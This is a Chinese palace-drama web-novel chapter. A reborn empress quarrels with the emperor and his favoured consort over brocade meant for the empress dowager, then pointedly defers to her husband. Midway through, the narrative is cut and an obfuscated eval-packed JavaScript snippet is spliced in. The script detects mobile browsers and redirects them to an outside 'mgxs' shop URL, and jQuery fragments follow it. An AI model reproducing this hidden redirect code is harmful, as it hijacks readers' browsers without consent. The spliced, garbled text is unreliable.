秋日,金阳殿笼罩在一片黄昏之中,重楼叠宇,壮丽威严。
急匆匆的脚步声在光亮的如同镜子一般的金砖上渐渐逼近,夹杂着一双年轻男女交错争执的声音,先是男人愤怒而又高亢的声音,“你别管!今天不是为了你!她自诩名门后裔,名门后裔教她这么忤逆吗!”
刘衡几乎是指着冯似柔的鼻子在指桑骂槐。
冯似柔则是快哭了,“太后说了要大事化小,不要陛下出头……或许姐姐不是故意的呢?您和姐姐吵来吵去,太后知道了多伤心?”
“你还替她说话,太后让尚服局送给你的锦缎,她敢半路截走,别家媳妇是媳妇,我媳妇是我全家的祖宗!”
刘衡越说越大声。
他几乎都能猜到许赢君蛮横的态度了,皇后出身高贵,未出嫁的时候地位就十分贵重,所以霸道任性,一个不顺心,对他这个皇帝都是呼来喝去的,更别说嫔妃们了。
许赢君坐在榻上,眼睁睁瞧着两人闯入,她前世不如冯妃故作贤惠,又比不过冯太后和刘衡的母子之情,再加上她眼中,她和刘衡一直都是最普通的夫妻,她怨恨刘衡纳妃辜负了她,因此遇到这种事总是不顾皇后体面,争辩不断,肆意发泄对于刘衡过于偏爱冯太后姑侄的不满。
刘衡不喜欢许赢君诉说被迫接纳冯妃的痛苦,也厌烦她没完没了的抱怨,因此夫妻彼此生怨,离心离德。
许赢君在权衡此刻该如何应对,迟迟不语,还是她身边的侍女乐景怕落了下风,立马跪下辩白,“陛下,贵妃用度奢靡,娘娘不知道是太后赏赐,误以为她一次从尚服局取了上百匹梅花缎,才出手截留,谁知贵妃立马给太后告状,又打扰太后清净,贵妃若是肯提前问问我们娘娘,岂会有如此误会?”
冯似柔表情可怜,身段柔弱,立马跪下顺着许赢君侍女的话说,“都是臣妾之错,是臣妾强行索取梅花缎,太后要问,臣妾要答,臣妾太老实了,请陛下息事宁人,不要再牵连其他人了!”
乱成一锅粥了,冯太后是刘衡生母没错,可她也是刘衡的发妻,手心手背都是肉,都不是省油的灯。
刘衡左右看看,气得坐下喝止,“够了,你们都放肆!”
跪下的二人瞬间噤声,许赢君伸手顺了一下自己的头发,她今天早上起来没有梳头,只用一只金簪半挽,发髻已经有些松动了。
刘衡正看着许赢君,他其实早就厌烦了。
他厌烦这些明显的狡辩与托词,但又为了皇后的颜面,不得不假装被糊弄住了,或许是这口气压在心中太久,他连一次都演不下去了了,索性问许赢君,“你其实事先知道那些梅花缎是太后赏给冯妃的,是不是?”
很显然刘衡没打算站在她这一边。
许赢君顿了一下,然后轻声道:“是。”
她突然懒得装了,像前世一样为了争宠辩白,在刘衡面前和冯妃争得你死我活,刘衡对她就那么重要吗?
她承认地太过理所当然,震惊了在场的所有人,冯妃暗自松了一口气,心想,帝后乃患难夫妻,她想得宠十分不易,幸而皇后冲动易怒,倒为她省下许多麻烦。
“我不可以这么做吗?冯妃在我这儿不讨喜,也不知反省己过,反而转头就去太后那里讨赏赐,陛下后宫三千,若是个个都这样不服管束,我也要放任不管吗?”
许赢君承认了还不算,甚至毫不客气地反问了刘衡。
迎着许赢君冷漠的眼神,刘衡先是一愣,随即无比气愤,“你何必危言耸听,不过让太后破例一回,难道后宫就乱起来了?她老了糊涂了,你和她计较什么,为什么非要回回把事情闹大,让大家都难堪?”
刘衡的生母从前是德妃殿中的侍寝宫女,生下刘衡后,日子过得十分不易,冯太后没有封号,先帝偶然赏了好的布料,她先给儿子做衣服,得了水果补品,也先留给儿子吃,自己饿得面黄肌瘦,一点恩宠也无,等刘衡登基,就把生母捧得高高的,除了朝政以外,事事都听冯太后的。
如今冯太后比神仙都难伺候,别说许赢君了,连冯贵妃听到刘衡的话,都忍不住撇撇嘴。
“那你觉得我该怎么办,我顺着她,我当真把那一百梅花缎全给冯妃?”
“你爱怎么做就怎么做!”
刘衡清楚许赢君不会坐视太后大兴赏赐,她说是这样说,刘衡敢点头,她又要找出千百个理由来挑剔嫌弃他们母子两个没见识,不懂规矩。
许赢君转头看向乐景,语气轻轻的,“赶紧的,把那些梅花缎都送到冯娘娘那里去。”
这把火又烧回了冯似柔这里,冯似柔扑通一声跪倒在地,“臣妾无功,不敢领受!”
刚刚让皇后爱怎样就怎样的刘衡也心知不妥,他才登基两年,国库并不充盈,无缘无故在后宫大兴赏赐,叫内外怎么看他?
然而刚刚已经放出豪言,此刻再阻止又显得他被皇后吓住了,刘衡……有些下不来台了。
乐景也急了,忙提醒许赢君,“娘娘您忘了,这一百匹梅花缎是您命绫锦院织出来装裱宫中各处佛像所用的,就这一百匹,挪了这儿可没法补啊。”
冯似柔更加不敢说话了。
许赢君却慢悠悠道:“你慌什么,冯妃年纪虽小,名分却是贵妃,就以她的名义再赏给宫中各处好了。”
这个办法可谓两全其美,即不耽误供佛,又不会损害冯太后和冯妃的名声,刘衡心中稍松。
随即腹中又升起一股怒火,皇后把他和冯妃耍了!
当初许赢君给方德妃做养女时,对养母德妃是何等的尊敬和孝顺,她并非不懂孝道的人,却截留赏赐在先,戏弄人于后,她简直没把太后放在眼里!
刘衡忍了又忍,总算是忍无可忍,咬着牙问了一句,“你就这么瞧不上太后?”
声音太小了,许赢君一下没听清楚,“什么?”
刘衡一拍桌子,“如果今日是先德妃喜欢那些梅花缎,起了私心要留下,你也会反复戏弄她,让她成为宫中笑柄吗?”
许赢君看了刘衡一眼,垂下眼并没有说话,只端起茶抿了一口,表示送客。
刘衡见许赢君无言以对,这才舒服了些,和冯妃一起离开了金阳殿。
许赢君目送二人,其实她有的是话等着刘衡,先德妃是大家闺秀,又不是没见过世面,怎么会这么拎不清,上百匹的缂丝梅花缎,这么大的花销,当然是有正经用处的,她就算再想要,也不会伸手的。
但这些话说出来除了出口气外,只会让刘衡更加替太后委屈,这对她有什么好处?
还不如装作无话可说,让刘衡把心口的气出了,也看她顺眼些,她重活一世,不是为了再走向和刘衡反目成仇的死局。
后来的三四天里,刘衡没再来过金阳殿,许赢君现在已经是半失宠的状态了,原因很简单,她总和冯太后过不去,刘衡的态度也很直白,谁和太后过不去,他就不理会谁,就算是皇后也一样。
反之冯贵妃就十分得宠了,宫中如今就冯贵妃这个亲侄女最讨冯太后的喜欢。
山不来看她,她却要去就山,许赢君早没了前世的别扭劲儿,主动梳妆前往乾仪殿探望。
只要她还能常常面圣,她的地位就是稳固的,她何必和自己过不去。
到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486191|202024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乾仪殿,副都知常德寿来迎她,他满脸笑容,话里话外却带着轻慢,“这些日子贵妃常来伴驾,殿下倒成了稀客了,哦,对了,今天贵妃也来了。”
许赢君也笑着,却并不客气,“是吗?冯妃果然是年纪小,总缠着皇帝,也不怕人家笑话她。”
常德寿本来巴结太后,闻言忙解释,“这是亲上做亲,陛下晓得贵妃自小贪玩,倒不与她计较。”
许赢君笑笑,没在言语。
殿内刘衡正在教冯妃打花牌。
许赢君跪下请安。
刘衡看到许赢君十分意外,皇后居然主动来给他请安了,他愣了一下才道:“辛苦皇后来看我,快,看座。”
冯妃则客气地邀请许赢君,“阿姐可要同我们一起玩?”
刘衡闻言有些迟疑,叫冯妃和皇后一起玩花牌,谁输了都不高兴,这不是没事惹事吗?
他问许赢君,“皇后要打吗?”
许赢君怎么会连这点眼色都没有,再说了,她就是来请个安而已,便立马起身,笑道:“你们玩你们的就是了,我就不打扰了。”
刘衡奇怪极了,“皇后真的没什么事吗?”
难道不是来找他麻烦的吗?
来抱怨他的不忠给她造成了天大的痛苦,刘衡天长地久地听着,一开始,他能感受到皇后的痛苦,渐渐地,他比皇后更加痛苦。
许赢君笑笑,“给陛下请安是皇后分内之事,只是往常事情太多,我疏忽了。”
她要是真心想要防备一个人,就一点话柄都不会留下,既然知道刘衡有意打压她,她当然要先做好分内之事。
刘衡不料皇后突然这么客气,干咳一声,也客套了两句,“我都知道,你实在是太忙,不来也可以的。”
许赢君笑笑,刘衡这是不想她再来了,可她还是会来的,只要外界知道她仍可以面见刘衡,他们私下的小动作就会少许多。
刘衡晚间来了许赢君这里,乐景并宝盈都十分高兴,许赢君也很惊讶,她请安为的不是这个啊。
一番梳洗之后,两个人都躺在床上,许赢君也舒舒服服躺着,刘衡如今与她疏远多了,她也很久都不侍寝了,所以她也不怕刘衡对她有什么想法,故而十分安心。
倒是刘衡,在床上翻腾了两下,才对许赢君道:“太后不像你出身大族,又饱读诗书,有些道理我和她讲了她也不懂,有的时候,我只能委屈你了。”
皇后今天委曲求全来给他请安,皇帝也觉得自己有必要敞开心扉同皇后谈一谈。
许赢君睁开眼睛,有些惊讶地“嗯?”了一声,刘衡竟然还有兴致和她说话。
刘衡知道许赢君听到了,又继续道:“你今天主动来请安,是上次我发火后许久不去找你,你害怕吗?”
许赢君睁着眼睛看着帐顶,原来刘衡是觉得她怕了。
“我本来不想和你说这些,但今天你来了,我才想多嘴两句,太后就是太后,她生了皇帝,所以她爱干什么就干什么,你再怎么中伤太后,我都不会相信半分,相反,你若是在意夫妻之情,就要像别家儿媳一样,对太后恭敬孝顺,不论她是何等出身,你嫁给我,她就是你的婆婆。”
刘衡说完便闭目睡着,留下许赢君久久不能睡着。
若是从前她听到皇帝的话肯定会生气,如今她终于明白了刘衡的想法,她也能理解刘衡了,他们母子相依为命这么多年,只有彼此才是对方最重要的人,如今刘衡登基了,想让太后享福有什么错?
至于许赢君吃苦受罪,那和他有什么关系,他给了许赢君皇后之位,许赢君难道不该回报这份恩典?